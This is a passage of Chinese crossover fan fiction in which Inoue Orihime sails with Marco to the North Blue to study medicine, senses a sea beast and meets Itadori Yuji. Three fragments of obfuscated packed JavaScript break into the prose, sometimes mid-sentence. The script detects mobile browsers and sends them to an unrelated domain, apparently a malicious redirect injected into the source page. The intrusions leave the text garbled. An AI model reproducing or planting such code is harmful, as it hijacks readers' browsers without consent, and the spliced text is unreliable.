丁零当啷的声音响起，重量压得织姬一沉，要不是难得一次反应速度上来了，手都得被袋子一起带着砸到地板上。 袋子的系口松开，里面的宝石项链和各种各样的金饰金币直接流淌般地落了出来。 井上织姬：“……诶！！” 以藏想了想，又从腰带里掏出另一个小包，掏出厚厚一沓的贝利放到了织姬手里。 “因为很长时间没有停靠在那种有大城市的岛上了，之前分到的宝藏没办法直接去典当行兑成更方便带的前。”苦恼地嘀咕这样响在耳边，以藏数了一下手里的不多的贝利，“让马尔科到时候带你去换，这是零花钱。” “以藏哥！！不用的！” 赶紧摆手拒绝，织姬表示自己还有钱。 之前刚停靠在这边岛上的时候，马尔科就已经给过她钱了，不过在花销方面上，井上织姬的物欲算不上高，这些天也就去岛上的甜饼店会买一些刚出炉的果酱饼干和浆果吐司。 一开始还不清楚贝利的购买能力，在买了好几天面包之后，马尔科给的钱也就才刚刚消失一个小零头，织姬后知后觉发现，自己好像已经拿了很多很多的钱了。 本来还想着等真的能在医务室里更加努力地打下手来回报好意，这下，以藏有给了更多的‘零花钱’过来。 井上织姬被金灿灿的光芒给惊地烟花，再三推拒。 不过因为性格的缘故又说不来重话，拒绝的语气坚定，只是音调虽然高，但气势又像熟透了的浆果，是没有威慑力的甜。 坚信这是来自妹妹的撒娇，以藏拍拍手：“这是哥哥给妹妹的零花钱哦。” 这么多钱，能买到可以搭出来一整座城堡那样的面包蛋糕了吧—— 价值观被眼前过于刺眼的金币宝藏给冲刷过了一遍，井上织姬拒绝的态度依然很坚定，说什么都不肯收下零花钱，以藏也就勉为其难地撤回一份钱袋子，又往包裹里面挤出来些许缝隙，又塞了两条风格素雅的披风。 目前的量是包裹的极限，但不是以藏的极限。 无处施展的担忧最后化在了马尔科凉飕飕一句‘这么担心那你怎么不跟我们一起走呢’之中。 “好主意。”以藏嘀咕。 但是不行。 这也不是大到一定要两位队长级离开的大事，学医方面，他也确实帮不上忙，就不去添乱了。 马尔科：“……在说这句话的时候，眼神收一收。” 他摆摆手。 幽怨啊，超级幽怨的。 不要惹一个弟弟不在身边，刚认识的小妹又要出远门的武士。 生气他是真的会举着双枪追着人撵。 已经很自然地可以忽略船上大家如同日常般的你追我打，井上织姬又努力在包裹边缘再压出来一部分空间，想要把自己仅有的那基本比斯塔送的《海之战士索拉》给塞进去。 生怕包裹被崩开线，艰难把书给塞进去之后，女孩张大嘴巴，看着基本要有一个马尔科那么大的包裹。 总觉得这个包要拿出房间都是很困难的事情啊。 试着推了一下，井上织姬望着自己的手掌心：“推、推不动——” 而旁观边上已经解决完又一轮追赶小游戏的马尔科，他一把拎着包裹的背带，轻轻松松把包给扛在了肩膀上：“哟，织姬，包我先拿出去了。” “……”好厉害！ 马尔科果然好厉害！！！ 来自妹妹的崇拜的眼光很让人受用，马尔科嘴角勾起，然后……嗯……走在门口的时候，被门框卡住的包裹差点把他给绊到摔下去。 有那么一点儿丢脸，当然，只是一点点。 - 出行的船是一艘小的帆船，两个人用正正好，船舱不大，隔出来的两个小房间里也就只是刚好可以休息的程度。 虽然装有最基础的淡水过滤装置，但以防万一，船舱角落还是摆了三大桶的淡水。 食物简单，但也够两个人吃上一段时间。 掌舵这件事应该能够算得上是身为海贼的必备技能，井上织姬完全是个新手，站在船头听着马尔科说这是怎么掌控方向。 “这个把手，织姬你看，拉下去的话——” 还没有出发的时候，在浆果岛的码头，马尔科给织姬讲解了一下这艘小帆船的动力结构。 莫比迪克号上的小船有很多，有进作为小队简单移动的普通木船，也有装了额外动力系统的船，这艘帆船就是后者。 “空岛，还记得之前以藏跟你说过的这种岛吗？” 下意识顺着会想，织姬仰头看着天空，蓝天白云，只有海鸥飞过。 马尔科点头：“船上装了空岛的特产，可以快速出行。” “这个我知道！是风贝和喷风贝，以藏哥哥有讲过！” 井上织姬看着上面的箭头，举手抢答。 真聪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050873|162812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明呢。 马尔科笑着揉揉她的头发。 “拉下这个把手的话，可以加速。”说着，他一把压下木制的把手。 船猛地往前蹿出一截，要不是绳子还拴在码头上的话，大概会达成一个直接出航的成就。 当然…… 因为太快了，惯性还是让井上织姬没能站稳，差点要摔。 就好像汽车突然发动突然刹车的感觉那样。 井上织姬用自己更熟悉的事物作为对比。 在这个世界的生活也不是很困难的样子。 大半个月时间已经习惯了这样的生活节奏，织姬如此想到——虽然没能继续上学有点可惜。 亲戚家里知道不需要额外给自己生活费的话，也会松一口气吧，叔叔阿姨家里其实也并不富裕。 给老师添麻烦了，得要说对不起。 还有朋友…… 啊，我有朋友的。 井上织姬眼里闪过一丝迷茫，她想，自己好像还是交到过一些朋友的。 但就像马尔科说的那样，脑震荡的后遗症总是让她记不清楚，只能慢慢靠时间去治愈。 摇摇头，没有再想完全没有头绪的过去的事情，她对出航这件事情还是兴致勃勃。 她和马尔科的小帆船，还有莫比迪克号的出航日期，是同一天。 在主船阴影底下的帆船实在是不起眼，井上织姬垫着脚想上面挥手，仰头，她只能看见站在围栏后面的一道又一道背光的也在朝自己挥手的影子。 “我会变成很优秀的医生回来船上的！” 小姑娘使劲跳了几下，想要将甚至都没认识满一个月的家人们看得更清楚一些。 她如此大声，活力满满地喊到。 遥遥之间，井上织姬听见了老爹那特征都格外明显的库哈哈哈的笑声。 直到两艘船向着两个不同的方向驶远。 坐在甲板上，井上织姬握紧拳头，给自己小声打气——我会当上医生的！ 不过突然安静下来了。 她想，意外地有点不习惯了呢。 “路上其实用不了那么时间。” 马尔科说，手里抛接着一枚手表状的东西。 记录指针。 织姬记得自己之前看百科图鉴时看到过这个。 “红土大陆和无风带将东南西北四海分隔开来，要从伟大航路去往四海，要么直接经过无风带，要么要从颠倒山上翻过去。” “海王类问题不大。” 他说，“又有喷风贝加速，我们直接走直线过去。” “很快的，小公主。”他扶着船舵，“只要买到适合的医书，路上没什么意外的话，很快就能回家的。” “……嗯！” 哎呀，是回家啊！ 双手捂脸，因为马尔科这样直截了当的用词，她有点儿不大好意思，但织姬还是狠狠点了一下头，眼睛都笑得弯弯的。 唔—— 不过帆船小，在海浪上颠簸地更加明显。 井上织姬在成为一名合格的医生之前，可能要先解决这种硬生生颠出来的晕船问题。 颤巍巍地，她扶着船舱的墙壁，稳住身子。 “是、是修行！”拿出毅力来！ 想着，井上织姬闭上眼睛盘腿坐下，真拿出了一副在潜心闭目修心的态度出来。 发夹似乎都在微弱的光线下闪着光，渐渐的，井上织姬也真的感觉那种晕船感要减轻了很多。 ——啊，还挺有活力的嘛。 想着这个孩子或许不习惯小船的颠簸，马尔科把特地备着的晕船药轻手轻脚放在了门口。 9. 第 9 章 有记录着最靠近颠倒山的永久指针在手，还有空岛特产的风贝作为速度加持，马尔科和井上织姬的帆船就差直接原地起飞。 他们几乎是从海浪尖儿上颠簸着‘飞’过去那大片大片的海域，而井上织姬，更是以一种飞快的速度去习惯了这样的风浪。 她成长得很快。 马尔科想着。 海贼的成长可不一定都是要在战斗中体现，毕竟海贼船上也不都是战斗人员，有得是后勤成员开始都习惯不了甲板生活的。 动辄几个月的适应期都不算短。 开始在主船上，够大够稳，所以井上织姬的反应还不是那么明显。 随后，突然换成小船的前三天，她走路都压根没走过哪怕一次的直线——然而在最初的适应期一过，这才第五天，她就已经能趴在栏杆后面，继续注视着好像永远是一成不变的蓝色的大海。 嗯…… 期间不是没有不长眼色的海兽出现，明晃晃地站在栏杆边上还有着一头亮眼头发的女孩，简直就是最醒目的‘鱼饵’，而帆船的大小又恰好够海兽一口吞下。 一般钓鱼要用到的拟饵也不过就是这样了吧？ 第五？第六？也可能有七八次了。 马尔科已经习惯了井上织姬一连串的‘马尔科马尔科又有海兽要出来啦’的呼唤，从桅杆上方的瞭望台跳下来，一只手拎着妹妹，另一只手握拳，一拳把海兽从哪来砸哪去。 那动作叫一个行云流水，已经是个熟练的流水工了。 也因此，马尔科也突然发现了一个小小的惊喜。 那也才是刚刚出航的第三天而已。 全速前进，没有额外做停留和补给，只是这么短的时间内，他们就已经回到了伟大航路的前半段。 还处在晕船折磨中的井上织姬好不容易才从船舱里挪出来，只是外面依然还有着海风咸腥的空气并不适合用来缓解头晕。 马尔科切了一小片的柠檬，直接给塞进了织姬的手里。 不是用来吃，只是含着，小姑娘表情顿时被酸了个扭曲，脸皱巴巴的，有点儿像是晒干了的失去了水分的小橘子。 但是笑话珍贵的妹妹有了疲态，这可不是好哥哥的举动。 马尔科只是背过身子，边憋笑边伸手锤栏杆，帆船似乎都有点禁不起这个力道，在微微晃动。 也可能是错觉，毕竟海上风浪大，船一直都是晃悠着的状态。 蔫头耷脑的小橘子靠在船帆投下的阴影里，小口小口继续嘬那片酸死人不偿命的柠檬，动作却是又突然一顿。 被柠檬酸到了还没有缓过来的五官，和突然吓到了的表情交杂在一块儿，眼睛都睁得格外的圆乎，井上织姬下意识伸手揉着耳朵，又揉了揉太阳穴。 她左右张望着，但依然，入目的只是再平常不过的海面。 “我好像……” 井上织姬疑惑，自言自语般的声音落在马尔科的耳朵里面。 “什么？”他问。 而女孩只是皱起眉头，这和稚嫩的脸也不太搭调：“不像是听见，也不像是看见。” 更像是一种感觉。 她想，好像有什么接近了。 “马尔科，下面——” “！！！” 越来越近，越来越近，就好像某一种庞然大物突然笼罩于头顶，巨大阴影所带来的恐慌让她心口一跳，伴随着井上织姬突然惊觉的开口，马尔科直接高高跃起，两条手臂化成了不死鸟永远燃烧着蓝色火炎的翅膀，他凌空而起，看着猛然跃出海面长大了嘴巴的海兽。 高高掀开的浪差点打翻了船，织姬不得不紧紧抱住桅杆到，才没有让自己被颠出甲板。 不过，她依然还是被浪给浇成了个落汤鸡。 抬头就能看到那只海兽巨大的带着难闻腥味的嘴，越靠越近。 神奇的是，织姬并没有感觉到害怕，她只是看着而已，安安静静。 这只怪兽没有威胁。 她想。 ——它长得比萨奇哥哥他们钓上来的可要小上一整圈！ 而更大的海王类，在大船上的时候，可都是都被做成了很好吃的菜。 井上织姬就只是看着那只蓝色的不死鸟在空中，背着光留下的模糊的声音一掠而过，速度很快，所以虹膜只来得及捕捉到留在天空中的一抹淡青残影。 十秒之后。 蹲在栏杆上的马尔科接过织姬地递过来的干净毛巾，擦了擦身上被浪拍到一点儿的海水的痕迹。 他躲得很快，但是架不住那头海兽开始没动静，但是跳出来之后就开始狂甩尾巴。 恶魔果实的能力者沾到水总归是不好受的，性格很好的马尔科也难免被这只海兽的阵仗给惹出了火来。 顶着一脑袋大包的海兽委委屈屈，小心翼翼地驮着后背上的那只也就够它塞个牙缝的帆船在前行。 “啊，如果不是没随身带个厨子。” 马尔科摇摇头，可惜了这么一大只的新鲜的肉。 “马尔科，嘘！” 同样很认真在拿毛巾擦拭头发的织姬闻言，赶紧回头，竖起手指抬在嘴唇前面：“不可以这样啊马尔科哥哥！” 海兽：感动。 小姑娘一本正经：“现在吃掉的话，又要我们自己掌舵了！等过了这片海域再吃才可以！” 刚刚升起一阵感动的海兽，抖得更厉害了，还得继续稳稳当当驮着船：T_T…… 马尔科：“……不，我也没有那么想吃它。” 他顿了一下，又看向了织姬：“干得好哦，织姬。” 什么？ 她歪头。 “提醒我海兽来了的这件事，织姬的观察力很强哦。”马尔科说着，用着更加简单的词汇去说，“敏锐是很好的事情。” 这孩子就好像是璞玉。 他想。 有这神奇的能力之外，这会儿又有更加敏锐的感知，和他差不多时间发现了海面下的海兽的踪迹…… 尤其年纪还这么小，简直就像是天生的见闻色霸气的高手。 “见闻色霸气？” 听了马尔科的科普，井上织姬沉吟两秒，脸颊上都差点挂上了一点虚汗。 她想，完全搞不懂马尔科哥哥说的是什么！ 他句子里的那种很神奇的像是透视眼千里耳的能力，真的是人类可以有的吗！ 井上织姬大惊，噌噌噌往后挪了挪：“我，我好像不是这样的能力！” 但是具体哪里不一样，织姬也说不上来。 总之和马尔科说的霸气是不一样的，霸气像是能感知预知到别人的动线，但是她就只是感觉到而已，甚至不是感觉到这只海兽本身…… 好像很久之前有人告诉过她，那是对灵压的感知。 而在刚刚马尔科暴揍海兽的时候，井上织姬有看见过那样的虚影。 胸前垂着锁链的灵魂挣扎在海兽的齿缝之间，尖叫着隐隐要有了变得更狰狞的趋势，但只是一个虚影，眨眼之间也就消失不见了。 解释不清楚自己的感受，井上织姬也还记不得自己到底从哪里听来过‘灵压’这个词，她也就没有多说。 井上织姬并不害怕这只海兽，在莫比迪克号上的那大半个月里也已经见过了很多只更大的。 只是唯独这一只，唯独那一瞥过后的就不见了的虚影，好像有什么狰狞的骨骼要从人形里面破土而出的怪异，她发现自己会因为这个而有点心慌。 但这件事也就只是藏在心里，井上织姬好不容易撑过了航行刚开始这段时间的晕眩，直到他们越靠近无风带，那些海兽，海王类，就越来越多。 最开始的他们遇见的海兽在这些生物里面都能算得上是小体型，而无风带里，野蛮生长着的大体型大怪物则是更多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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抵达北海的第一站，是一座常作为贸易商船中转站的小岛，岛上本地人不算多，但是各种的小贸易市场都是有不少，北海各个岛上的特产这儿都能找到。 他们出航是为了给井上织姬找找系统学医的路子，不是以白胡子海贼团的身份出航，船上也没有挂上海贼旗。 马尔科寻了一处小的码头，正经地交了停泊费，准备先修整两天。 收了停泊费的年轻男孩说：“需要搬运行李吗，我这边可以直接送到下榻的旅馆，只要三千贝利。” 再次踏上实地，井上织姬高兴地原地跳了跳。 她想，自己或许可以先逛一逛再旅馆休息，转头征求了马尔科的同意之后，井上织姬找了那个男生留下自己的信息。 “我们之前电话虫预约了北海中心旅馆的两间房间，预订人是马尔科和井上织姬，麻烦晚上之前帮我送到。” 井上织姬从口袋里掏出钱包。 “井上……” 在本子上记单的少年一愣：“织姬？” “日本人！？” 织姬：“嗯。” “嗯？” 她猛地抬头，对上少年的视线。 粉发的男生：“诶，不是吗？抱歉抱歉，我还以为这个名字是日本，我是说，我老家所在的那个岛国特有的风格……” 井上织姬：“……诶！诶？？？” 虎杖悠仁歪头，指着自己：“果然是的啊，我来这里遇到的第一个日本人！！！” 他露出一副超感动的表情：“差点以为自己是到异世界了，原来这个世界还是有日本人的啊！” “我的名字叫虎杖悠仁，你好哦，井上妹妹。” 不，怎么说呢？ 好像确实是异世界没错…… 井上织姬欲言又止。 10. 第 10 章 “织姬？” 马尔科又喊了一声在走神的井上织姬。 从下午和那个码头收停泊费的男孩见过面之后，这孩子就有点儿心不在焉的。 出了什么事吗？ 他实在是疑惑，想不明白这个连面对那么狰狞可怕的海王类都不会尖叫的女孩，她能因为什么事儿开始感到失态？ “只是有点奇怪。” 思考的时候，井上织姬会下意识地用手捏着什么，只是走在路上没有能够给她捏的东西，她开始对自己的脸颊肉下手。 七八岁时候的她并不是肉嘟嘟的孩子，虽然从来没有短缺过吃食，但是也就只有脸颊上能找出来点儿带着鼓鼓弧度的肉。 一只手把自己给搓揉地红扑扑的，井上织姬依然没有想明白——为什么这里还会有日本人在？ 当然，不是说她不高兴看到了自己的同乡。 但井上织姬知道，这里好像和她所知道的日本不是同一个世界了。 不是因为知道世界没有‘日本’，才发觉是两个世界，而是因为知道原来的世界没有伟大航路这样的地方，百慕大她倒是听说过。 ——同一个异世界，遇见了来自同样另一个世界的日本人，概率有多小呢？ 井上织姬实在是想不明白这个问题，超纲了。 ——书店的百科大问答里也没有说过这么复杂的问题，电视上也没有播放过啊！！！ CPU干烧着的井上织姬，眼睛都开始直溜溜打转成蚊香圈的样子，如果不是马尔科牵着，她大抵是能一脑袋直接撞上墙的。 “啊，但是平成播放的奥特战士，去的地球也都不是同一个。” 和昭和时代的奥特曼的连续世界观不一样，她这一代孩子们看的奥特曼，很多都是独立世界观，井上织姬因此很有依据地思考着，“会不会我和虎杖同学的日本也不是同一个日本呢？” 但是，还是很复杂。 对于记忆还有着很大缺漏的小孩子来说，这个问题太复杂了，她越想，越感觉头疼。 刚刚因为那个叫虎杖的男生说，他要继续打工先去送其他的货单了，如果不介意的话，等有空的时候，他想找她说说话。 ‘也不是没有试过回家，一开始我还以为是什么奇怪的领域，但是试了很多次都完全没办法找到突破的口子。’ ‘不过这样也好，给大家少了一个麻烦了啊……’ ‘能遇见你真的是太好了！’ 压根没有细说的时机，井上织姬就看着那个男生一路扛着几个大箱子就飞快地跑远了。 ——身体素质还挺不错的，跑得挺快啊那小子。 这是马尔科去一边买完全岛地图时，回来说的第一句话。 很快吗？ 井上织姬对这个速度没有多少概念，毕竟平时感觉大家跑得也都挺快的，水里游的人鱼和天上飞的不死鸟都见过，已经是个见过大世面的织姬，表面倒是平静。 - 说着要走走，实际上马尔科还是带井上织姬去了镇上据说很受欢迎的面包工坊，边上还开着一家饮品店，据说里面很多茶用的都是从伟大航路的一座春岛里进口过来的，都是新茶，味道清新爽口，和果汁一起做成果茶也不会涩口。 两杯当日推荐的饮料，外加面包工坊里买来的香喷喷的新鲜出炉的面包，堆满了店外面的露天座位，被香味吸引回了神，井上织姬无疑是砸吧了一下嘴巴。 好多，好多面包！ 她想。 对于香香甜甜的食物完全没有抵抗力，井上织姬吃面包都吃得特别认真，这家面包工坊的用料都很实在，烤出来的面包更得用两只手捧着还要大的尺寸。 一个估计要抵上一天的食量，很努力和面包搏斗，大口咬着，但是面包还是戳满了嘴角。 井上织姬眼睛亮亮的，准备开口跟马尔科说，自己竟然也遇见了同乡。 她终于明白了，为什么以藏哥哥看见自己的时候，会表现得那么开心的原因了。 出门在外，同乡就好像天然就是同一边的伙伴，那种欣喜是不言而喻的。 她很高兴，虽然想不明白，但是很高兴。 在外人听来就是唔唔唔的被面包都堵住的高低音节，马尔科听了，也了然点头。 “也是和之国的孩子？” “嗯！” 井上织姬点头。 总觉得另一个世界什么的很难解释，更别说她自己都是懵懂的现在，和之国听起来和日本确实没什么两样，那虎杖同学就是和之国的她的同乡，没毛病。 在马尔科看来，也确实没什么毛病。 和之国锁国已久，周围海域也算得上凶险，但是从非法港口登陆或者偷跑出来的人也有不少，只不过前者要么被全灭要么成了凯多的手下，而后者大部分命丧于汹涌的大海。 不过除了一个‘原来如此’的念头之外，马尔科也没有别的想法了。 说到底，他会在意关心的和之国出来的人，也就自己认识的那几位，以藏是同伴，而织姬是海里捡回来的年纪最小的妹妹，其他和之国里出来的人，和他本身关系就不是很大——他是海贼，且，从来都不是会同理心大爆发的好心人。 听到织姬说可能等晚上会和那个同乡的小子聊聊的时候，马尔科也点点头——说不定多聊聊以前的事儿，对她恢复记忆还有好处，他没道理阻止。 在船上，光是教学和之国之外的常识，就耗干净了以藏的知识储备，他反而很少会和织姬聊到和之国内的事情。 这个话题就暂且这么掠了过去。 马尔科聊起了他们这趟出行的正事儿。 关于学医的。 这座岛称得上是麻雀虽小但是五脏俱全，但只有医院，也许还会有几家小诊所，但没有医学院，甚至都没有一座大一些的图书馆。 “毕竟是被来往船只当成中转站的小刀，人来人往带来了可以流动起来的金钱，所以外来的人越来越多，这座岛本身的原住民很少，少到都发展不起来教育相关的事物。”马尔科简单解释了一下。 他晃了晃手里的地图，虽然是这座小岛的游览地图，但是也有了不少的信息了——比如说前往北海各岛的班船启航时间。 这次出航还有一个目的是为了找一颗恶魔果实，听传过来的消息来看，深红色的心形果实，实在是像传闻中的那种手术果实。 虽然并没有要吃这样果实的必要，但是为了藏起来织姬的能力要谎称是果实能力，那自然是把果实捏在自己手里比较重要。 只是，这是马尔科的出行目的，而不是织姬的。 在地图上翻找着附近的比较大一些的岛屿，马尔科其实已经有了个计划的雏形。 他会找到一个有医学院的岛屿，暂时把织姬给放下来，最好上面有大些的城镇，要是能有海军分部驻扎更好，这样安全能更有保证。 而他，会暂时先出门一趟。 要不了多久，就能带着果实回去，再接井上织姬回到莫比迪克号上。 计划有点潦草，但已经够了。 藏掉自己要出去做什么事儿的那一部分，他三言两语，把话给交代完毕。 当然，中间还是需要一点儿善意的小谎言作为掩盖的。 马尔科一本正经：“我要去一趟极寒港那边，据说用冰雪融化的水酿出来的酒，味道最为清冽，不多带一些回去，我可是会被老爹念叨的。” 平日里管船长喝酒管得最严的一番队队长兼船医，马尔科揉了揉鼻子，但是说话的语气可是一点儿都不带抖的。 而井上织姬也不疑有他。 和面包搏斗的过程中，织姬以腮帮子都吃累了而败下阵来，她咬着果茶的习惯，甜甜的还带着茶香的饮料落入口中，小姑娘惬意地眯了一下眼睛：“那我在岛上等马尔科回来！” 这次出行来北海前，她也见识过船上的大家动不动就开宴会喝酒的样子，在海上航行，对于海贼来说，酒就是和水一样的必不可少的存在之一，马尔科专门要去找好酒的行为也不奇怪。 井上织姬自己也都想要给船上的大家带伴手礼。 只是船上的人太多了，而她的钱就只有那些。 或许只是明信片，她挤一挤还能多买点儿？ 两个人给出行计划填补着细节。 正事一来，井上织姬一时都没顾得上自己还遇见了个同乡的事情。 按照两个人的商量，马尔科会先把织姬放在岛上——具体哪一座岛还要再做定夺。 一般大型医院都会有附属的学校，但基本也都是大学，但是有些也会有附属的护理学校，专门培养护士和护工的，这是井上织姬要暂呆的地方。 对于学医一道，井上织姬目前真正会的，也就只是能在船上护士小姐们给老爹吊水的时候，用酒精棉球擦擦手背，正好可以先从简单一些的护理方面入手，先让织姬熟悉一下那样的节奏。 这片大海上，能从私塾一路学习到最后的人实在是太少，护理学校的招生门槛反而没有那么高，很多家庭为了让孩子们能尽快赚钱补贴家里，比起去耗时更长需要精心培养的医学院，选择学完就能直接入职医院的护理学院的反而更多，也更适合只能在北海短暂停留一段时间的他们。 而之后？ 医学院那边，是马尔科要‘入学’的。 他会找个中间人做个身份，等进去里面稍稍观摩一下系统的教学方法，再看看需要用到的教学书籍，等回去莫比迪克号上之后，马尔科会给织姬量身打造一个教学计划——正好，船上大几千人，织姬需要动手实践都不志愿者了。 计划敲定下来，接下来他们还会在这座岛上停留几天，等马尔科假身份做好了之后，再一道离开。 而井上织姬也在晚上回旅馆的时候，遇见了等在了大堂的那个粉头发的男生。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050875|162812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“！” 守着一大包行李的虎杖悠仁赶紧站起来，冲着织姬挥了挥手，“行李在这里，麻烦签收一下哦。” 送货的工作其实是他自己的私活，不过码头那边的管理者知道虎杖悠仁目前一个人住，初来乍到不久又找不到别的工作，对于他自己接私活给个人旅客运送行李的私活，也就睁一只眼闭一只眼了。 “谢谢哦，虎杖同学。” 织姬笑道。 旅馆也是有餐厅了，而手里尚且还有一点可以自己支配的贝利，井上织姬干脆请他一起去吃晚饭。 餐厅的味道只能说是一般，但是虎杖悠仁吃得还是分外满足。 他说，自己本来是在接到任务完成之后的返程途中，突然地震，等自己站稳了之后，就发现换了个地方，整个人落在海里，是路过的商队把他给捞起来的。 虎杖说得含糊，但是提到任务的时候，也没有刹住嘴巴漏出来一两个，咒术，咒灵这样的词汇。 虽然是陌生的词，织姬下意识类比着自己所知道的知识，莫名关联上了另一个自己感觉到陌生的单词——虚。 虚，那是什么？ 井上织姬想着，又依然想不出来答案。 “接到任务？”她有些疑惑另一个地方。 虎杖想了想：“我之前上学的地方是高专，就是职校吧，学习的过程中也会有工作委托能去做的那种。” 这样啊。 她点点头。 “我的话……” “记不得了。” “来的时候因为撞到了脑袋还脑震荡了，好多事情都记不太清楚了” 而提到自己这边的事情，井上织姬有点不好意思。 撞到脑袋的事情让她回忆以前的事情时，都是模糊到像是蒙了一层雾那样。 关于自己会来到这个世界的原因，井上织姬都说不清楚。 隐约的，她觉得自己可能是从河堤上摔了下去。 但，她有觉得自己在掉入大海之前，好像是在要去另一个地方的路上。 记忆是混乱的，织姬想着，还是不说了吧，越想，就越是混乱。 “我原来是仙台人哦，后来转学去东京来着，十五岁的虎杖悠仁，你好哦织姬妹妹。” 这才算是真正的自我介绍时间，虎杖说着，表情认真。 “我叫井上织姬。” 于是，女孩开口，“来自东京的空座町。” “虎杖同学，在我记得的部分里面，我已经念到高三了。” 井上织姬一脸正经：“不是妹妹。” 她说：“我已经十七了。” 那…… 虎杖悠仁瞪大了眼睛，视线下移，下移……直到落到了这个女孩的头顶。 “井上学姐看起来好年轻啊！” ——虎杖同学，你刚刚想说好矮的对吧，眼神完全就是好矮的意思！！！ 不清楚自己来的原因，更不清楚自己为什么现在只有着七八岁的外貌的原因，井上织姬很想切实地说自己绝对是十七岁没错，但又犹豫记忆的混乱，有着自己升学到高三的印象是没错，她又不敢肯定那真的是发生过的事情。 说自己不是妹妹的声音，其实还有点儿虚。 东京已经是大城市了，而初来乍到没几个月就又换到这里生活的虎杖悠仁，也没有反应过来他那里的东京地图上面，压根就没有叫做空座町的地方。 看得出来眼前小个子学姐有点窘迫的表情，虎杖悠仁顺其自然转移了话题。 他看了一眼餐厅的门口。 “那边那位是在井上学姐的同伴吗，刚刚就在那边了。” 新的世界很好，至少这里他都没有看到过咒灵，咒力又还在，锻炼出来的力气也还在，自己一个人生活着，他想，自己可以生活到很久很久以后。 虽然会有点想念老师，有点想念同期。 不过，还好，这位学姐看起来也已经很好的适应了这个世界的生活，不用特别担心。 他想着，真好啊，是好事呢！ 门口？ 织姬疑惑着掉头，正好看见了马尔科迎面走了进来。 “马尔科！”井上织姬挥手示意着自己在这边，“要一起吃晚餐嘛！” 啊，又是这个小子。 看着虎杖悠仁，马尔科想——好吧，小孩子出门在外，有个差不多年纪的玩伴好像确实也挺重要的。 遥想当年罗杰的船上，不也有俩年纪相近的实习船员一直打打闹闹嘛。 ——在堂堂白胡子海贼团一番队队长的眼里，十四岁和七八岁，确实都是小孩没错，尤其是这俩孩子眼睛都透着差不多的清澈的天真。 确实是未经炮火和风雨洗礼的孩子没错。 啊，不是那位啊！ 虎杖把视线从餐厅门口那个一身黑色长和服的高个子青年身上挪了回来，赶紧和眼前的先生正式打了招呼。